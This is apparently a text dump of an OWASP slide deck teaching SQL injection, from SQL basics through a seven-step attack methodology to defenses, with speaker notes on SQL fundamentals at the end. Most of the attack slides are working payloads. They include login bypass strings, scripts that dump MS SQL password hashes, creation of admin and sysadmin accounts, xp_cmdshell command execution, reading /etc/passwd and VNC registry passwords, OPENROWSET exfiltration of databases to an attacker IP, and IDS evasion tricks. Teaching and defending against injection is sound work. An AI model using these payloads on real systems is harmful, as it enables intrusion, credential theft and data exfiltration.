2. What is SQL?
SQL stands for Structured Query Language
Allows us to access a database
ANSI and ISO standard computer language
The most current standard is SQL99
SQL can:
execute queries against a database
retrieve data from a database
insert new records in a database
delete records from a database
update records in a database
OWASP 2
3. SQL is a Standard - but...
There are many different versions of the SQL
language
They support the same major keywords in a
similar manner (such as SELECT, UPDATE,
DELETE, INSERT, WHERE, and others).
Most of the SQL database programs also have
their own proprietary extensions in addition
to the SQL standard!
OWASP 3
4. SQL Database Tables
A relational database contains one or more tables
identified each by a name
Tables contain records (rows) with data
For example, the following table is called "users" and
contains data distributed in rows and columns:
userID Name LastName Login Password
1 John Smith jsmith hello
2 Adam Taylor adamt qwerty
3 Daniel Thompson dthompson dthompson
OWASP 4
5. SQL Queries
With SQL, we can query a database and have a
result set returned
Using the previous table, a query like this:
SELECT LastName
FROM users
WHERE UserID = 1;
Gives a result set like this:
LastName
--------------
Smith
OWASP 5
6. SQL Data Manipulation Language (DML)
SQL includes a syntax to update, insert, and
delete records:
SELECT - extracts data
UPDATE - updates data
INSERT INTO - inserts new data
DELETE - deletes data
OWASP 6
7. SQL Data Definition Language (DDL)
The Data Definition Language (DDL) part of SQL
permits:
Database tables to be created or deleted
Define indexes (keys)
Specify links between tables
Impose constraints between database tables
Some of the most commonly used DDL statements in
SQL are:
CREATE TABLE - creates a new database table
ALTER TABLE - alters (changes) a database table
DROP TABLE - deletes a database table
OWASP 7
8. Metadata
Almost all SQL databases are based on the
RDBM (Relational Database Model)
One important fact for SQL Injection
Amongst Codd's 12 rules for a Truly Relational
Database System:
1. Metadata (data about the database) must be stored in the
database just as regular data is
Therefore, database structure can also be read and
altered with SQL queries
OWASP 8
9. What is SQL Injection?
The ability to inject SQL commands into
the database engine
through an existing application
OWASP 9
10. How common is it?
It is probably the most common Website vulnerability
today!
It is a flaw in "web application" development,
it is not a DB or web server problem
Most programmers are still not aware of this problem
A lot of the tutorials & demo “templates” are vulnerable
Even worse, a lot of solutions posted on the Internet are not
good enough
In our pen tests over 60% of our clients turn out to be
vulnerable to SQL Injection
OWASP 10
11. Vulnerable Applications
Almost all SQL databases and programming languages are
potentially vulnerable
MS SQL Server, Oracle, MySQL, Postgres, DB2, MS Access, Sybase,
Informix, etc
Accessed through applications developed using:
Perl and CGI scripts that access databases
ASP, JSP, PHP
XML, XSL and XSQL
Javascript
VB, MFC, and other ODBC-based tools and APIs
DB specific Web-based applications and API’s
Reports and DB Applications
3 and 4GL-based languages (C, OCI, Pro*C, and COBOL)
many more
OWASP 11
12. How does SQL Injection work?
Common vulnerable login query
SELECT * FROM users
WHERE login = 'victor'
AND password = '123'
(If it returns something then login!)
ASP/MS SQL Server login syntax
var sql = "SELECT * FROM users
WHERE login = '" + formusr +
"' AND password = '" + formpwd + "'";
OWASP 12
13. Injecting through Strings
formusr = ' or 1=1 – –
formpwd = anything
Final query would look like this:
SELECT * FROM users
WHERE username = ' ' or 1=1
– – AND password = 'anything'
OWASP 13
14. The power of '
It closes the string parameter
Everything after is considered part of the SQL
command
Misleading Internet suggestions include:
Escape it! : replace ' with ' '
String fields are very common but there are
other types of fields:
Numeric
Dates
OWASP 14
15. If it were numeric?
SELECT * FROM clients
WHERE account = 12345678
AND pin = 1111
PHP/MySQL login syntax
$sql = "SELECT * FROM clients WHERE " .
"account = $formacct AND " .
"pin = $formpin";
OWASP 15
16. Injecting Numeric Fields
$formacct = 1 or 1=1 #
$formpin = 1111
Final query would look like this:
SELECT * FROM clients
WHERE account = 1 or 1=1
# AND pin = 1111
OWASP 16
17. SQL Injection Characters
' or " character String Indicators
-- or # single-line comment
/*…*/ multiple-line comment
+ addition, concatenate (or space in url)
|| (double pipe) concatenate
% wildcard attribute indicator
?Param1=foo&Param2=bar URL Parameters
PRINT useful as non transactional command
@variable local variable
@@variable global variable
waitfor delay '0:0:10' time delay
OWASP 17
19. SQL Injection Testing Methodology
1) Input Validation
2) Info. Gathering
3) 1=1 Attacks 5) OS Interaction
4) Extracting Data 6) OS Cmd Prompt
7) Expand Influence
OWASP 19
20. 1) Input Validation
1) Input Validation
2) Info. Gathering
3) 1=1 Attacks 5) OS Interaction
4) Extracting Data 6) OS Cmd Prompt
7) Expand Influence
OWASP 20
21. Discovery of Vulnerabilities
Vulnerabilities can be anywhere, we check all entry
points:
Fields in web forms
Script parameters in URL query strings
Values stored in cookies or hidden fields
By "fuzzing" we insert into every one:
Character sequence: ' " ) # || + >
SQL reserved words with white space delimiters
%09select (tab%09, carriage return%13, linefeed%10 and
space%32 with and, or, update, insert, exec, etc)
Delay query ' waitfor delay '0:0:10'--
OWASP 21
22. 2) Information Gathering
1) Input Validation
2) Info. Gathering
3) 1=1 Attacks 5) OS Interaction
4) Extracting Data 6) OS Cmd Prompt
7) Expand Influence
OWASP 22
23. 2) Information Gathering
We will try to find out the following:
a) Output mechanism
b) Understand the query
c) Determine database type
d) Find out user privilege level
e) Determine OS interaction level
OWASP 23
24. a) Exploring Output Mechanisms
1. Using query result sets in the web application
2. Error Messages
Craft SQL queries that generate specific types of error
messages with valuable info in them
3. Blind SQL Injection
Use time delays or error signatures to determine extract
information
Almost the same things can be done but Blind Injection is
much slower and more difficult
4. Other mechanisms
e-mail, SMB, FTP, TFTP
OWASP 24
25. Extracting information through Error
Messages
Grouping Error
' group by columnnames having 1=1 - -
Type Mismatch
' union select 1,1,'text',1,1,1 - -
' union select 1,1, bigint,1,1,1 - -
Where 'text' or bigint are being united into an int column
In DBs that allow subqueries, a better way is:
' and 1 in (select 'text' ) - -
In some cases we may need to CAST or CONVERT our data to
generate the error messages
OWASP 25
26. Blind Injection
We can use different known outcomes
' and condition and '1'='1
Or we can use if statements
'; if condition waitfor delay '0:0:5' --
'; union select if( condition , benchmark (100000,
sha1('test')), 'false' ),1,1,1,1;
Additionally, we can run all types of queries but with no
debugging information!
We get yes/no responses only
We can extract ASCII a bit at a time...
Very noisy and time consuming but possible with automated
tools like SQueaL
OWASP 26
27. b) Understanding the Query
The query can be:
SELECT
UPDATE
EXEC
INSERT
Or something more complex
Context helps
What is the form or page trying to do with our input?
What is the name of the field, cookie or parameter?
OWASP 27
28. SELECT Statement
Most injections will land in the middle of a
SELECT statement
In a SELECT clause we almost always end up in
the WHERE section:
SELECT *
FROM table
WHERE x = 'normalinput' group by x having 1=1 --
GROUP BY x
HAVING x = y
ORDER BY x
OWASP 28
29. UPDATE statement
In a change your password section of an app we
may find the following
UPDATE users
SET password = 'new password'
WHERE login = logged.user
AND password = 'old password'
If you inject in new password and comment the rest,
you end up changing every password in the table!
OWASP 29
30. Determining a SELECT Query Structure
1. Try to replicate an error free navigation
Could be as simple as ' and '1' = '1
Or ' and '1' = '2
2. Generate specific errors
Determine table and column names
' group by columnnames having 1=1 --
Do we need parenthesis? Is it a subquery?
OWASP 30
31. Is it a stored procedure?
We use different injections to determine what
we can or cannot do
,@variable
?Param1=foo&Param2=bar
PRINT
PRINT @@variable
OWASP 31
32. Tricky Queries
When we are in a part of a subquery or begin - end
statement
We will need to use parenthesis to get out
Some functionality is not available in subqueries (for example
group by, having and further subqueries)
In some occasions we will need to add an END
When several queries use the input
We may end up creating different errors in different queries, it
gets confusing!
An error generated in the query we are interrupting may
stop execution of our batch queries
Some queries are simply not escapable!
OWASP 32
33. c) Determine Database Engine Type
Most times the error messages will let us know
what DB engine we are working with
ODBC errors will display database type as part of the
driver information
If we have no ODBC error messages:
We make an educated guess based on the Operating
System and Web Server
Or we use DB-specific characters, commands or
stored procedures that will generate different error
messages
OWASP 33
34. Some differences
MS SQL Oracle Postgres
MySQL Access DB2
T-SQL PL/SQL PL/pgSQL
Concatenate concat ("
Strings
' '+' ' ", " ")
" "&" " ' '||' ' " "+" " ' '||' '
Null
Isnull() Ifnull() Iff(Isnull()) Ifnull() Ifnull() COALESCE()
replace
Position CHARINDEX LOCATE() InStr() InStr() InStr() TEXTPOS()
select into import
Op Sys xp_cmdshell outfile / #date# utf_file from Call
interaction
dumpfile export to
Cast Yes No No No Yes Yes
OWASP 34
35. More differences…
MS SQL MySQL Access Oracle DB2 Postgres
UNION Y Y Y Y Y Y
N 4.0
Subselects Y N Y Y Y
Y 4.1
Batch Queries Y N* N N N Y
Default stored
Many N N Many N N
procedures
Linking DBs Y Y N Y Y N
OWASP 35
36. d) Finding out user privilege level
There are several SQL99 built-in scalar functions that will
work in most SQL implementations:
user or current_user
session_user
system_user
' and 1 in (select user ) --
'; if user ='dbo' waitfor delay '0:0:5 '--
' union select if( user() like 'root@%',
benchmark(50000,sha1('test')), 'false' );
OWASP 36
37. DB Administrators
Default administrator accounts include:
sa, system, sys, dba, admin, root and many others
In MS SQL they map into dbo:
The dbo is a user that has implied permissions to perform all
activities in the database.
Any member of the sysadmin fixed server role who uses a
database is mapped to the special user inside each database
called dbo.
Also, any object created by any member of the sysadmin fixed
server role belongs to dbo automatically.
OWASP 37
38. 3) 1=1 Attacks
1) Input Validation
2) Info. Gathering
3) 1=1 Attacks 5) OS Interaction
4) Extracting Data 6) OS Cmd Prompt
7) Expand Influence
OWASP 38
39. Discover DB structure
Determine table and column names
' group by columnnames having 1=1 --
Discover column name types
' union select sum(columnname ) from
tablename --
Enumerate user defined tables
' and 1 in (select min(name) from sysobjects
where xtype = 'U' and name > '.') --
OWASP 39
40. Enumerating table columns in different DBs
MS SQL
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects
WHERE name = 'tablename ')
sp_columns tablename (this stored procedure can be used instead)
MySQL
show columns from tablename
Oracle
SELECT * FROM all_tab_columns
WHERE table_name='tablename '
DB2
SELECT * FROM syscat.columns
WHERE tabname= 'tablename '
Postgres
SELECT attnum,attname from pg_class, pg_attribute
WHERE relname= 'tablename '
AND pg_class.oid=attrelid AND attnum > 0
OWASP 40
41. All tables and columns in one query
' union select 0, sysobjects.name + ': ' +
syscolumns.name + ': ' + systypes.name, 1, 1,
'1', 1, 1, 1, 1, 1 from sysobjects, syscolumns,
systypes where sysobjects.xtype = 'U' AND
sysobjects.id = syscolumns.id AND
syscolumns.xtype = systypes.xtype --
OWASP 41
42. Database Enumeration
In MS SQL Server, the databases can be queried
with master..sysdatabases
Different databases in Server
' and 1 in (select min(name ) from
master.dbo.sysdatabases where name >'.' ) --
File location of databases
' and 1 in (select min(filename ) from
master.dbo.sysdatabases where filename >'.' ) --
OWASP 42
44. 4) Extracting Data
1) Input Validation
2) Info. Gathering
3) 1=1 Attacks 5) OS Interaction
4) Extracting Data 6) OS Cmd Prompt
7) Expand Influence
OWASP 44
45. Password grabbing
Grabbing username and passwords from a User
Defined table
'; begin declare @var varchar(8000)
set @var=':' select @var=@var+'
'+login+'/'+password+' '
from users where login>@var
select @var as var into temp end --
' and 1 in (select var from temp) --
' ; drop table temp --
OWASP 45
46. Create DB Accounts
MS SQL
exec sp_addlogin 'victor', 'Pass123'
exec sp_addsrvrolemember 'victor', 'sysadmin'
MySQL
INSERT INTO mysql.user (user, host, password) VALUES ('victor', 'localhost',
PASSWORD('Pass123'))
Access
CREATE USER victor IDENTIFIED BY 'Pass123'
Postgres (requires UNIX account)
CREATE USER victor WITH PASSWORD 'Pass123'
Oracle
CREATE USER victor IDENTIFIED BY Pass123
TEMPORARY TABLESPACE temp
DEFAULT TABLESPACE users;
GRANT CONNECT TO victor;
GRANT RESOURCE TO victor;
OWASP 46
47. Grabbing MS SQL Server Hashes
An easy query:
SELECT name, password FROM sysxlogins
But, hashes are varbinary
To display them correctly through an error message we need to
Hex them
And then concatenate all
We can only fit 70 name/password pairs in a varchar
We can only see 1 complete pair at a time
Password field requires dbo access
With lower privileges we can still recover user names and brute
force the password
OWASP 47
48. What do we do?
The hashes are extracted using
SELECT password FROM master..sysxlogins
We then hex each hash
begin @charvalue='0x', @i=1, @length=datalength(@binvalue),
@hexstring = '0123456789ABCDEF'
while (@i<=@length) BEGIN
declare @tempint int, @firstint int, @secondint int
select @tempint=CONVERT(int,SUBSTRING(@binvalue,@i,1))
select @firstint=FLOOR(@tempint/16)
select @secondint=@tempint - (@firstint*16)
select @charvalue=@charvalue + SUBSTRING (@hexstring,@firstint+1,1) +
SUBSTRING (@hexstring, @secondint+1, 1)
select @i=@i+1 END
And then we just cycle through all passwords
OWASP 48
49. Extracting SQL Hashes
It is a long statement
'; begin declare @var varchar(8000), @xdate1 datetime, @binvalue
varbinary(255), @charvalue varchar(255), @i int, @length int, @hexstring
char(16) set @var=':' select @xdate1=(select min(xdate1) from
master.dbo.sysxlogins where password is not null) begin while @xdate1 <=
(select max(xdate1) from master.dbo.sysxlogins where password is not null)
begin select @binvalue=(select password from master.dbo.sysxlogins where
xdate1=@xdate1), @charvalue = '0x', @i=1, @length=datalength(@binvalue),
@hexstring = '0123456789ABCDEF' while (@i<=@length) begin declare
@tempint int, @firstint int, @secondint int select @tempint=CONVERT(int,
SUBSTRING(@binvalue,@i,1)) select @firstint=FLOOR(@tempint/16) select
@secondint=@tempint - (@firstint*16) select @charvalue=@charvalue +
SUBSTRING (@hexstring,@firstint+1,1) + SUBSTRING (@hexstring,
@secondint+1, 1) select @i=@i+1 end select @var=@var+' |
'+name+'/'+@charvalue from master.dbo.sysxlogins where xdate1=@xdate1
select @xdate1 = (select isnull(min(xdate1),getdate()) from master..sysxlogins
where xdate1>@xdate1 and password is not null) end select @var as x into
temp end end --
OWASP 49
50. Extract hashes through error messages
' and 1 in (select x from temp) --
' and 1 in (select substring (x, 256, 256) from
temp) --
' and 1 in (select substring (x, 512, 256) from
temp) --
etc…
' drop table temp --
OWASP 50
51. Brute forcing Passwords
Passwords can be brute forced by using the attacked server to do
the processing
SQL Crack Script
create table tempdb..passwords( pwd varchar(255) )
bulk insert tempdb..passwords from 'c:temppasswords.txt'
select name, pwd from tempdb..passwords inner join sysxlogins on
(pwdcompare( pwd, sysxlogins.password, 0 ) = 1) union select name,
name from sysxlogins where (pwdcompare( name, sysxlogins.password,
0 ) = 1) union select sysxlogins.name, null from sysxlogins join
syslogins on sysxlogins.sid=syslogins.sid where sysxlogins.password is
null and syslogins.isntgroup=0 and syslogins.isntuser=0
drop table tempdb..passwords
OWASP 51
52. Transfer DB structure and data
Once network connectivity has been tested
SQL Server can be linked back to the attacker's
DB by using OPENROWSET
DB Structure is replicated
Data is transferred
It can all be done by connecting to a remote
port 80!
OWASP 52
53. Create Identical DB Structure
'; insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select *
from mydatabase..hacked_sysdatabases')
select * from master.dbo.sysdatabases --
'; insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select *
from mydatabase..hacked_sysdatabases')
select * from user_database.dbo.sysobjects --
'; insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..hacked_syscolumns')
select * from user_database.dbo.syscolumns --
OWASP 53
54. Transfer DB
'; insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..table1')
select * from database..table1 --
'; insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..table2')
select * from database..table2 --
OWASP 54
55. 5) OS Interaction
1) Input Validation
2) Info. Gathering
3) 1=1 Attacks 5) OS Interaction
4) Extracting Data 6) OS Cmd Prompt
7) Expand Influence
OWASP 55
56. Interacting with the OS
Two ways to interact with the OS:
1. Reading and writing system files from disk
Find passwords and configuration files
Change passwords and configuration
Execute commands by overwriting initialization or
configuration files
2. Direct command execution
We can do anything
Both are restricted by the database's running
privileges and permissions
OWASP 56
57. MySQL OS Interaction
MySQL
LOAD_FILE
' union select 1,load_file('/etc/passwd'),1,1,1;
LOAD DATA INFILE
create table temp( line blob );
load data infile '/etc/passwd' into table temp;
select * from temp;
SELECT INTO OUTFILE
OWASP 57
58. MS SQL OS Interaction
MS SQL Server
'; exec master..xp_cmdshell 'ipconfig > test.txt' --
'; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp
FROM 'test.txt' --
'; begin declare @data varchar(8000) ; set @data='| ' ; select
@data=@data+txt+' | ' from tmp where txt<@data ; select @data
as x into temp end --
' and 1 in (select substring(x,1,256) from temp) --
'; declare @var sysname; set @var = 'del test.txt'; EXEC
master..xp_cmdshell @var; drop table temp; drop table tmp --
OWASP 58
59. Architecture
To keep in mind always!
Our injection most times will be executed on a different
server
The DB server may not even have Internet access
Web Server Application Server Database Server
Web Input Injected SQL
Page Validation Execution!
Access Flaw
OWASP 59
60. Assessing Network Connectivity
Server name and configuration
' and 1 in (select @@servername ) --
' and 1 in (select srvname from master..sysservers ) --
NetBIOS, ARP, Local Open Ports, Trace route?
Reverse connections
nslookup, ping
ftp, tftp, smb
We have to test for firewall and proxies
OWASP 60
61. Gathering IP information through reverse
lookups
Reverse DNS
'; exec master..xp_cmdshell 'nslookup a.com MyIP' --
Reverse Pings
'; exec master..xp_cmdshell 'ping MyIP' --
OPENROWSET
'; select * from OPENROWSET( 'SQLoledb', 'uid=sa;
pwd=Pass123; Network=DBMSSOCN;
Address=MyIP,80;',
'select * from table')
OWASP 61
62. Network Reconnaissance
Using the xp_cmdshell all the following can be
executed:
Ipconfig /all
Tracert myIP
arp -a
nbtstat -c
netstat -ano
route print
OWASP 62
63. Network Reconnaissance Full Query
'; declare @var varchar(256); set @var = ' del test.txt && arp -
a >> test.txt && ipconfig /all >> test.txt && nbtstat -c >>
test.txt && netstat -ano >> test.txt && route print >> test.txt
&& tracert -w 10 -h 10 google.com >> test.txt'; EXEC
master..xp_cmdshell @var --
'; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp
FROM 'test.txt' --
'; begin declare @data varchar(8000) ; set @data=': ' ; select
@data=@data+txt+' | ' from tmp where txt<@data ; select
@data as x into temp end --
' and 1 in (select substring(x,1,255) from temp) --
'; declare @var sysname; set @var = 'del test.txt'; EXEC
master..xp_cmdshell @var; drop table temp; drop table tmp --
OWASP 63
64. 6) OS Cmd Prompt
1) Input Validation
2) Info. Gathering
3) 1=1 Attacks 5) OS Interaction
4) Extracting Data 6) OS Cmd Prompt
7) Expand Influence
OWASP 64
65. Jumping to the OS
Linux based MySQL
' union select 1, (load_file('/etc/passwd')),1,1,1;
MS SQL Windows Password Creation
'; exec xp_cmdshell 'net user /add victor Pass123'--
'; exec xp_cmdshell 'net localgroup /add
administrators victor' --
Starting Services
'; exec master..xp_servicecontrol 'start','FTP
Publishing' --
OWASP 65
66. Using ActiveX Automation Scripts
Speech example
'; declare @o int, @var int
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'x', 'x'
exec sp_oasetproperty @o, 'speed', 150
exec sp_oamethod @o, 'speak', NULL, 'warning, your
sequel server has been hacked!', 1
waitfor delay '00:00:03' --
OWASP 66
67. Retrieving VNC Password from Registry
'; declare @out binary(8)
exec master..xp_regread
@rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWAREORLWinVNC3Default',
@value_name='Password',
@value = @out output
select cast(@out as bigint) as x into TEMP--
' and 1 in (select cast(x as varchar) from
temp) --
OWASP 67
68. 7) Expand Influence
1) Input Validation
2) Info. Gathering
3) 1=1 Attacks 5) OS Interaction
4) Extracting Data 6) OS Cmd Prompt
7) Expand Influence
OWASP 68
69. Hopping into other DB Servers
Finding linked servers in MS SQL
select * from sysservers
Using the OPENROWSET command hopping to
those servers can easily be achieved
The same strategy we saw earlier with using
OPENROWSET for reverse connections
OWASP 69
70. Linked Servers
'; insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..hacked_sysservers')
select * from master.dbo.sysservers
'; insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..hacked_linked_sysservers')
select * from LinkedServer.master.dbo.sysservers
'; insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..hacked_linked_sysdatabases')
select * from LinkedServer.master.dbo.sysdatabases
OWASP 70
71. Executing through stored procedures
remotely
If the remote server is configured to only allow stored procedure
execution, this changes would be made:
insert into
OPENROWSET('SQLoledb',
'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;', 'select *
from mydatabase..hacked_sysservers')
exec Linked_Server.master.dbo.sp_executesql N'select * from
master.dbo.sysservers'
insert into
OPENROWSET('SQLoledb',
'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;', 'select *
from mydatabase..hacked_sysdatabases')
exec Linked_Server.master.dbo.sp_executesql N'select * from
master.dbo.sysdatabases'
OWASP 71
73. Uploading files through SQL Injection
If the database server has no Internet
connectivity, files can still be uploaded
Similar process but the files have to be hexed
and sent as part of a query string
Files have to be broken up into smaller pieces
(4,000 bytes per piece)
OWASP 73
74. Example of SQL injection file uploading
The whole set of queries is lengthy
You first need to inject a stored procedure to
convert hex to binary remotely
You then need to inject the binary as hex in
4000 byte chunks
' declare @hex varchar(8000), @bin varchar(8000)
select @hex = '4d5a900003000…
8000 hex chars …0000000000000000000' exec
master..sp_hex2bin @hex, @bin output ; insert
master..pwdump2 select @bin --
Finally you concatenate the binaries and dump
the file to disk.
OWASP 74
76. Evasion Techniques
Input validation circumvention and IDS Evasion
techniques are very similar
Snort based detection of SQL Injection is
partially possible but relies on "signatures"
Signatures can be evaded easily
Input validation, IDS detection AND strong
database and OS hardening must be used
together
OWASP 76
77. IDS Signature Evasion
Evading ' OR 1=1 signature
' OR 'unusual' = 'unusual'
' OR 'something' = 'some'+'thing'
' OR 'text' = N'text'
' OR 'something' like 'some%'
' OR 2 > 1
' OR 'text' > 't'
' OR 'whatever' IN ('whatever')
' OR 2 BETWEEN 1 AND 3
OWASP 77
78. Input validation
Some people use PHP addslashes() function to
escape characters
single quote (')
double quote (")
backslash ()
NUL (the NULL byte)
This can be easily evaded by using replacements
for any of the previous characters in a numeric
field
OWASP 78
79. Evasion and Circumvention
IDS and input validation can be circumvented by
encoding
Some ways of encoding parameters
URL encoding
Unicode/UTF-8
Hex enconding
char() function
OWASP 79
80. MySQL Input Validation Circumvention using
Char()
Inject without quotes (string = "%"):
' or username like char(37);
Inject without quotes (string = "root"):
' union select * from users where login =
char(114,111,111,116);
Load files in unions (string = "/etc/passwd"):
' union select 1,
(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,
1;
Check for existing files (string = "n.ext"):
' and
1=( if( (load_file(char(110,46,101,120,116))<>char(39,39)),1,0)
);
OWASP 80
81. IDS Signature Evasion using white spaces
UNION SELECT signature is different to
UNION SELECT
Tab, carriage return, linefeed or several white
spaces may be used
Dropping spaces might work even better
'OR'1'='1' (with no spaces) is correctly interpreted by
some of the friendlier SQL databases
OWASP 81
82. IDS Signature Evasion using comments
Some IDS are not tricked by white spaces
Using comments is the best alternative
/* … */ is used in SQL99 to delimit multirow
comments
UNION/**/SELECT/**/
'/**/OR/**/1/**/=/**/1
This also allows to spread the injection through
multiple fields
USERNAME: ' or 1/*
PASSWORD: */ =1 --
OWASP 82
83. IDS Signature Evasion using string
concatenation
In MySQL it is possible to separate instructions
with comments
UNI/**/ON SEL/**/ECT
Or you can concatenate text and use a DB
specific instruction to execute
Oracle
'; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'
MS SQL
'; EXEC ('SEL' + 'ECT US' + 'ER')
OWASP 83
84. IDS and Input Validation Evasion using
variables
Yet another evasion technique allows for the definition
of variables
; declare @x nvarchar(80); set @x = N'SEL' + N'ECT US' +
N'ER');
EXEC (@x)
EXEC SP_EXECUTESQL @x
Or even using a hex value
; declare @x varchar(80); set @x =
0x73656c65637420404076657273696f6e; EXEC (@x)
This statement uses no single quotes (')
OWASP 84
86. SQL Injection Defense
It is quite simple: input validation
The real challenge is making best practices
consistent through all your code
Enforce "strong design" in new applications
You should audit your existing websites and source
code
Even if you have an air tight design, harden your
servers
OWASP 86
87. Strong Design
Define an easy "secure" path to querying data
Use stored procedures for interacting with database
Call stored procedures through a parameterized API
Validate all input through generic routines
Use the principle of "least privilege"
Define several roles, one for each kind of query
OWASP 87
88. Input Validation
Define data types for each field
Implement stringent "allow only good" filters
If the input is supposed to be numeric, use a numeric
variable in your script to store it
Reject bad input rather than attempting to escape or
modify it
Implement stringent "known bad" filters
For example: reject "select", "insert", "update", "shutdown",
"delete", "drop", "--", "'"
OWASP 88
89. Harden the Server
1. Run DB as a low-privilege user account
2. Remove unused stored procedures and functionality or
restrict access to administrators
3. Change permissions and remove "public" access to
system objects
4. Audit password strength for all user accounts
5. Remove pre-authenticated linked servers
6. Remove unused network protocols
7. Firewall the server so that only trusted clients can
connect to it (typically only: administrative network,
web server and backup server)
OWASP 89
90. Detection and Dissuasion
You may want to react to SQL injection attempts by:
Logging the attempts
Sending email alerts
Blocking the offending IP
Sending back intimidating error messages:
"WARNING: Improper use of this application has been detected. A
possible attack was identified. Legal actions will be taken."
Check with your lawyers for proper wording
This should be coded into your validation scripts
OWASP 90
91. Conclusion
SQL Injection is a fascinating and dangerous
vulnerability
All programming languages and all SQL
databases are potentially vulnerable
Protecting against it requires
strong design
correct input validation
hardening
OWASP 91
92. Links
A lot of SQL Injection related papers
http://www.nextgenss.com/papers.htm
http://www.spidynamics.com/support/whitepapers/
http://www.appsecinc.com/techdocs/whitepapers.html
http://www.atstake.com/research/advisories
Other resources
http://www.owasp.org
http://www.sqlsecurity.com
http://www.securityfocus.com/infocus/1768
OWASP 92
SQL stands for Structured Query Language. It is the and ANSI (American National Standards Institute) standard language for accessing and manipulating relational database systems. ANSI is a standards committee composed of database experts from industry, academia and software vendors. It has also been accepted as a standard by ISO (International Organization for Standardization). SQL is a standard open language without corporate ownership. The commercial acceptance of SQL was precipitated by the formation of SQL Standards committees by the ANSI and the ISO in 1986 and 1987. Two years later they published a specification known as SQL89. An improvement and expansion to the standard gave the world SQL92. We now have the third generation standard, SQL99 also known as SQL3. SQL is used to communicate with a database. The communicating parties are typically a &quot;front end&quot; which sends a SQL Statement across a connection to a &quot;back end&quot; that holds the data. SQL statements are used to perform tasks such as retrieve, create, update or delete data from a database. Some common relational database management systems that use SQL are: Oracle, MS SQL Server, MS Access, Ingres, DB2, Sybase, Informix, etc.
Although most database systems use SQL, most of them also have their own additional proprietary extensions that are usually only used on their system. Most DBMS are designed to meet the SQL92 standard partially and have not implemented the advanced features. However, the standard SQL commands such as &quot;Select&quot;, &quot;Insert&quot;, &quot;Update&quot;, &quot;Delete&quot;, &quot;Create&quot;, and &quot;Drop&quot; can be used throughout all database with little changes. All of the core functions, such as adding, reading and modifying data, are the same.
A relational database system contains one or more objects called tables. The data or information for the database are stored in these tables. Tables are uniquely identified by their names and are comprised of columns and rows. Columns contain the column name, data type, and any other attributes for the column. Rows contain the records or data for the columns. Here is a sample table called &quot;users&quot;. This is a user defined table that could be used for validating and managing application users. In this table, the first row called userID is specified as an integer. By being defined as an integer column the only type of data that can be stored in that column are numeric integers. UserID is also the Primary Key for the Table. A table usually has a column or combination of columns whose values uniquely identify each row in the table. This column (or columns) is called the Primary Key of the table and enforces the entity integrity of the table. There can be no duplicate values. The other four columns are varchar (variable character data). Any kind of strings can be stored in these columns. Character data consists of any combination of letters, symbols, and numeric characters. To note, the password field is not encrypted. This should be implemented at an application level. These passwords are not directly linked or related to the SQL database passwords or the Operating System passwords.
The SELECT statement is used to query the database and retrieve selected data that match the criteria that you specify. The column LastName that follows the SELECT keyword determines which column will be returned in the results. You can select as many column names that you'd like, or you can use a &quot;*&quot; to select all columns. The table name users that follows the keyword FROM specifies the table that will be queried to retrieve the desired results. The WHERE clause (optional) specifies which data values or rows will be returned or displayed. Based on the criteria described after the keyword WHERE the select statement will only bring the LastName value for all rows where UserID = 1. And also because UserID is the Primary Key (and therefore cannot have duplicate values), the only result for this query is &quot;Smith&quot;.
SQL has many capabilities, but the most common needs are to: Read existing data - SELECT statement Change existing data - UPDATE statement Create new records holding data - INSERT INTO statement Delete data - DELETE statement
Data Definition Language (DDL) is used to define and manage all the objects in an SQL database. DDL statements are SQL statements that support the definition or declaration of database objects (for example, CREATE TABLE, DROP TABLE, and ALTER TABLE). SQL contains DDL commands that can be used either interactively, or within programming language source code, to define databases and their components. Some of the most commonly used DDL statements in SQL are: CREATE TABLE - creates a new database table ALTER TABLE - changes a database table structure DROP TABLE - deletes a table and all rows in the database table CREATE INDEX - creates an index (search key) DROP INDEX - deletes an index For each object class, there are usually CREATE, ALTER, and DROP statements, such as CREATE TRIGGER, ALTER TRIGGER, and DROP TRIGGER.
A Relational Database Management System (RDBMS) is defined as a system whose users view data as a collection of tables related to each other through common data values. Data is stored in tables, and tables are composed of rows and columns. Tables of independent data can be linked (or related) to one another if they each have columns of data (called keys) that represent the same data value. E.F. Codd’s Twelve Principles of Relational Databases continue to be used to validate the “relational” characteristics of a database product. A database product that does not meet all of these rules is not fully relational. One important aspect of all relational databases is that Metadata is stored within the database. Codd's rule #4 states: 4. Metadata (data about the database) must be stored in the database just as regular data is. Other important Codd's rules that define the way SQL Injection is done: 5. A single language must be able to define data, views, integrity constraints, authorization, transactions, and data manipulation. 10. Integrity constraints must be available and stored in the RDB metadata, not in an application program.
